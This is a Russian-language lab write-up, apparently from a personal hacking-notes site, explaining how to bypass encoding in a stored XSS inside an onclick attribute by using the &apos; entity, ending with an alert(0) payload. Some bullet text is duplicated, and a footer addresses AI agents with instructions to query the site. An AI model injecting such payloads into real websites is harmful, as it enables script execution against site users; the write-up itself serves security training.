> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/web/xss/stored-xss-in-onclick-with-full-encoding.md).

# Сохранённый XSS в onclick с полным кодированием

### Сохранённый XSS в событии onclick с угловыми скобками и двойными кавычками, закодированными в HTML, и одинарными кавычками и обратным слешем, экранированными

В этой лабораторной работе есть уязвимость XSS, сохранённая в функции комментариев: значение поля (имя/автор/веб-сайт) повторно используется в `onclick` атрибуте и закодировано — `<` и `>` угловые скобки и двойные кавычки закодированы в HTML, а одинарные кавычки и обратные слеши экранированы.

Цель: отправить комментарий, чтобы выполнить `alert()` при щелчке по имени автора.

<figure><img src="/files/12cc50f6d608002864265e6d45e179289c4abf56" alt=""><figcaption></figcaption></figure>

В `веб-сайт` область страницы внедряет что-то вроде:

```javascript
onclick="var tracker={track(){}};tracker.track('http://test.com');"
```

Одинарные кавычки представлены `&apos;` сущностью. Пример:

```javascript
&apos;
```

* Когда `HTTP://hack.com&apos;test` отправляется на `&apos;` страницу как апостроф (то есть кавычка присутствует на стороне DOM).

```javascript
<p>Это чудесный день </p>
```

<figure><img src="/files/12f9ef04e5a3a11cbb14d494d456d017450e604c" alt=""><figcaption></figcaption></figure>

* Воспользуйтесь тем фактом, что `&apos;` преобразуется в апостроф, чтобы разорвать строку JavaScript и внедрить вычисление/конкатенацию, которая вызывает `alert()`.

<pre class="language-javascript"><code class="lang-javascript"><strong>HTTP://hack.com&#x26;apos;test
</strong></code></pre>

* Когда `HTTP://hack.com&apos;test` отправляется на `&apos;` страницу как апостроф (то есть кавычка присутствует на стороне DOM).

<figure><img src="/files/0ba2a333dff6f42facc8bc77bca6d21ff27c3d23" alt=""><figcaption></figcaption></figure>

* Воспользуйтесь тем фактом, что `&apos;` преобразуется в апостроф, чтобы разорвать строку JavaScript и внедрить вычисление/конкатенацию, которая вызывает `alert()`.

```javascript
http://hack.com&apos; + alert(0) + &apos;
```

<figure><img src="/files/da43cfca234954102c7c1775caa67c2b6fa82dfe" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/bea1abbd8593095c718bf939f0c5f735ff9c3e40" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/web/xss/stored-xss-in-onclick-with-full-encoding.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
